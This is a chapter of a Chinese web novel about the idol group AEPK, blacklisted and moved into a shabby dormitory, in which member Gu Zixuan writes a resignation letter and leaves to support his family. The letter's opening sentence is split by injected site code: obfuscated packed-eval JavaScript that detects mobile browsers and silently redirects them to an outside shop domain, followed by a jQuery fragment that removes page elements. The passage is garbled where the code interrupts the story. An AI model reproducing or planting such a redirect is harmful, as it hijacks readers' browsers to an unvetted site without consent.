全网黑潮的第七天，AEPK彻底被打回了最狼狈的模样。
公司派来的搬家车停在独栋公寓楼下时，清晨的雾还没散，灰扑扑的天色像极了所有人此刻的心情。曾经装满荣光与欢喜的空间，如今只剩下满地狼藉：散落的应援彩带被踩得皱巴巴，出道夜的蛋糕纸盘还丢在垃圾桶里，墙上贴着的9人合照被撕去了边角，骆闻阳放在窗台的小盆绿植，因为连日无人照料，叶片已经蔫成了灰白色。
没有工作人员帮忙，没有助理跑腿，9个少年各自拖着破旧的行李箱，把为数不多的个人物品塞进去，沉默地往楼下搬。
江亦风手里抱着一摞粉丝送的手写信，纸张被他攥得微微发皱。这些都是他视若珍宝的东西，是出道前无数个难熬夜晚里的光，可现在，连把它们完整带走都成了难事。傅念跟在他身后，小小的身子拖着比自己还大的箱子，轮子在粗糙的地面上发出刺耳的摩擦声，他低着头，眼泪砸在行李箱拉杆上，悄无声息地晕开一小片湿痕。
王辉荟走在最后，伸手接过骆闻阳手里的药盒和薄外套。少年脸色依旧苍白，昨夜因为心口憋闷几乎一夜未眠，眼下泛着淡淡的青黑，明明自己站都有些不稳，却还在伸手帮沈星辞扶着一摞乐谱。
“我自己来就好，你别累着。”王辉荟声音放得极轻，顺势把所有重物都揽到自己身上。
骆闻阳摇了摇头，没说话，只是抿着唇跟在他身边。他不敢说累，不敢表现出脆弱，更不敢再让任何人因为他分心。全网铺天盖地骂他“累赘”的话，像一根针，时时刻刻扎在他心里，他拼了命想证明自己不是拖累，可在这样的绝境里，他的病弱、他的安静，都成了原罪。
蔡希澈走在最前面，和经纪人办理交接手续。经纪人脸色为难，递过来一串生锈的钥匙，语气带着遗憾：“三楼最西侧那间，四人间，两间房，剩下的自己想办法。公司已经仁至义尽，别再找我提任何要求，我也帮不了你们。”
钥匙上的铁锈蹭在蔡希澈掌心，留下一道暗沉的印子。他没反驳，没争执，只是接过钥匙，点了点头。
去求他父亲吗？他可能自己摊子都处理不完，哪还能顾上他们。
争辩无用，哀求无用，在资本放弃、公司漠视的时刻，所有的体面都被碾得粉碎。
曾经的出道顶流，如今挤在破旧的集体宿舍里。
楼道狭窄昏暗，墙壁斑驳脱落，空气中弥漫着灰尘和潮湿的味道，声控灯一闪一闪，发出滋滋的电流声。所谓的四人间，不过是两间打通的狭小屋子，摆上四张上下铺铁架床后，连转身的空间都所剩无几，没有独立卫浴，没有书桌，没有衣柜，所有人的行李只能堆在墙角，堆成一座杂乱的小山。
顾子轩把自己的行李箱放在门口，看着眼前逼仄、破旧、拥挤的空间，长久地沉默着。
他不是没吃过苦。
集训时住过六人宿舍，训练到凌晨是常态，啃过干面包，穿过破洞的训练服，可那时候再苦，心里是有盼头的。他知道只要努力，只要晋级，只要出道，就能改变命运，就能给家里寄钱，就能让生病的母亲好好看病，就能让年迈的父亲不用再去工地扛重物。
他是家里唯一的希望。
来参加选秀时，全村人都为他高兴，亲戚朋友凑了路费，父母一遍遍叮嘱他：“好好拼，咱家以后就靠你了。”
他以为自己熬出头了。
出道夜那天，他给家里打了电话，母亲在电话那头哭着说“我儿有出息了”，父亲难得笑出声，说等他赚钱了，就把家里的破房子翻修一下。
可现在，一切都成了泡影。
没有收入，没有工作，没有资源，没有曝光，别说给家里寄钱，就连自己下个月的生活费都没有着落。公司停发所有补贴，禁止私自接活，违约就要赔偿天价违约金，他们像被囚禁在笼中的鸟，看得见外面的世界，却连一口饱饭都挣不来。
顾子轩拿出手机，翻出家里的聊天记录。
父亲前天发来的消息还停留在屏幕上：“儿啊，你妈药快没了，你那边方便先寄点钱回来不？工地还没结工资，实在没办法了。”
他不敢回。
他拿不出钱。
他甚至不敢告诉父母，自己现在不仅一分钱赚不到，还被全网谩骂，被困在破旧宿舍里，连未来在哪里都不知道。
出道时的荣光，全村人的期待，父母的依靠，现实的生计，像一座又一座大山，狠狠压在他的身上，压得他喘不过气。
他不像蔡希澈，即便没有团队，也有后路可退；
不像余宇涵，一身说唱本事，哪怕低谷也有棱角支撑；
不像骆闻阳，是团队核心，所有人都护着；
不像江亦风，家境优渥，从不用为钱发愁；
不像苏妄、沈星辞，有纯粹的热爱可抵岁月漫长；
更不像傅念，年纪尚小，还有试错的时间。
他已经成年，他是家里的顶梁柱，他耗不起。
梦想很重要，可在家人的温饱、母亲的医药费、父亲的血汗面前，梦想太轻了，轻得一文不值。
“小轩，你睡我下铺吧，上铺太高，不方便。”江亦风的声音打断了他的沉默，语气依旧温和，试图给这个压抑的环境添一点暖意。
顾子轩抬起头，勉强扯出一个笑容，摇了摇头：“不用，我睡上铺就行。”
他的声音很哑，没有往日的沉稳，只剩下掩饰不住的疲惫。
一整天，所有人都在收拾这间破旧的宿舍，没有人说话，只有衣物摩擦、箱子挪动的声音，沉闷得让人窒息。
没有训练室，他们就在宿舍狭小的过道里练声，不敢大声，怕被隔壁投诉；没有食材，所有人凑出身上仅剩的零钱，买了几袋方便面，中午一人一碗白水泡面，连一根火腿肠都舍不得加。
骆闻阳捧着泡面，看着碗里漂浮的油花，没什么胃口。他心脏不好，医生叮嘱必须吃清淡、有营养的食物，可现在，能吃饱就已经是奢望。他不敢提要求，默默低下头，小口小口地往嘴里送，辛辣的泡面汤呛得他喉咙发疼，也只能强忍着咽下去。
余宇涵看在眼里，把自己碗里仅有的一点蔬菜包挑出来，倒进他碗里，语气凶巴巴的，却藏着心疼：“多吃点，别又晕倒了，没人有空管你。”
骆闻阳抬头看他，小声说了句“谢谢”，眼眶又红了。
蔡希澈把这一切都看在眼里。
他知道夏泽宇的心事，知道他的家庭情况，知道他的压力。团队里每一个人的处境，他都清楚，可他现在能做的，只有守住团队不散，守住大家不崩溃，除此之外，无能为力。
他不是没想过办法。
这几天，他跑遍了所有能联系的资源方，低声下气求人，给平台写申诉，给品牌方发消息，得到的全是拒绝、拉黑、无视。所有人都怕惹上麻烦，怕被资本针对，连一句委婉的拒绝都懒得给，直接把他的路彻底堵死；连自己父亲也停掉了给他的生活费，说是不能让人抓到把柄。
晚上，宿舍里的人都睡了，鼾声、浅弱的呼吸声交织在一起。
顾子轩躺在床上，睁着眼睛看着漆黑的天花板，一夜未眠。
手机屏幕亮了又暗，暗了又亮，父亲发来的消息一条接着一条，全是关于钱、关于医药费、关于家里的难处。他不敢回，不敢点开，心脏像被一只手紧紧攥住，疼得他浑身发抖。
他不是不想坚守梦想，不是不想和大家一起走下去。
他是真的走不下去了。
第二天一早，天还没亮，顾子轩就悄悄起了床。
他没有惊动任何人，把自己的行李箱收拾好，东西一样没多拿，只带走了几件换洗衣物和家里的照片。他走到床边，看着熟睡的同伴，看着蔡希澈疲惫的侧脸，看着骆闻阳苍白的睡颜，看着傅念蜷缩在被子里的小小身影，眼泪终于无声地掉了下来。
他从口袋里拿出一张纸，趴在狭小的书桌上，一笔一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606115|205724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
划地写下辞职信。
字迹工整，却带着止不住的颤抖。
队长，各位伙伴：
对不起，我要走了。
我很想和大家一起坚持下去，很想守住AEPK，很想等到有舞台的那一天。可是我不能再耗下去了，我家里需要我，我妈等着钱看病，我爸撑不起整个家，我必须回去赚钱，必须承担我的责任。
我知道现在离开很自私，是逃兵，可我没有别的选择。
这段日子和大家一起追梦，是我这辈子最开心的时光。谢谢你们一直以来的照顾，谢谢你们给我的家。
你们一定要坚持下去，一定要好好的，一定要重新站上舞台。
对不起，再见。
顾子轩
他把纸条轻轻放在书桌最显眼的位置，最后看了一眼这间拥挤、破旧、却装满回忆的宿舍，看了一眼他舍不得的同伴，然后攥紧行李箱拉杆，转身，一步一步，悄无声息地走出了这间宿舍。
没有告别，没有回头，不敢回头。
他怕一回头，就舍不得走，怕一回头，就会崩溃大哭。
清晨的第一缕阳光照进宿舍时，蔡希澈最先醒来。
他一眼就看到了书桌上的纸条，看到了那个熟悉的名字，心脏猛地一沉，一股不好的预感瞬间席卷全身。
他快步走过去，拿起纸条，看完上面的每一个字，脸色彻底沉了下去。
“顾子轩呢？”
蔡希澈的声音打破了宿舍的安静，带着压抑的颤抖。
所有人都被惊醒，茫然地睁开眼睛，四处张望。
傅念揉着眼睛，小声问：“小轩哥呢？他不在床上。”
江亦风心里一紧，快步走到门口，拉开门往外看，空荡荡的楼道，早已没有了顾子轩的身影。
沈星辞拿起书桌上的纸条，看完之后，脸色瞬间变得苍白，手控制不住地发抖。
余宇涵一把夺过纸条，快速扫完，猛地一拳砸在墙上，发出沉闷的响声，眼底满是愤怒、不甘、还有无力：“他妈的！他就这么走了？！”
骆闻阳站在人群后面，看着那张薄薄的信纸，看着“再见”两个字，眼泪瞬间掉了下来。
第一个人，离开了。
那个总是沉默寡言、却会默默帮大家收拾卫生、会把自己的食物让给别人、会在训练时认真努力的少年，那个和他们一起熬过海选、熬过淘汰、一起站上出道舞台的家人，走了。
因为现实，因为生计，因为扛不住这看不到尽头的重压，离开了。
9人团，变成了8人。
曾经说好的“全员不散，顶峰相见”，曾经出道夜紧紧相拥的约定，在现实面前，碎得彻彻底底。
江亦风红着眼眶，拿着手机，一遍一遍拨打顾子轩的电话，听筒里只有冰冷的提示音：“您所拨打的电话已关机。”
他走得决绝，断了所有联系，不给自己回头的余地，也不给大家挽留的机会。
他不是不爱这个团，不是不想坚守，他只是别无选择。
宿舍里一片死寂，没有人说话，只有压抑的哭声、粗重的呼吸声，和窗外渐渐亮起的天光。
傅念趴在床上，放声大哭，比以往任何一次都要崩溃：“说好一起走下去的……为什么要走……为什么啊……”
沈星辞低着头，眼泪砸在纸条上，晕开一片墨迹。
骆闻阳靠在墙边，死死咬着嘴唇，血腥味在口腔里弥漫开来。他觉得，又是自己的错。
如果不是团队被封杀，如果不是他拖累大家，如果他们能有收入，能有希望，顾子轩就不会走，就不会不得不放弃梦想，回家承担生计。
都是他的错。
蔡希澈攥紧那张纸条，指节泛白，眼底布满红血丝。
他没有哭，没有怒吼，只是长久地沉默着。
顾子轩的离开，像一把锋利的刀。
这不是结束。
这只是开始。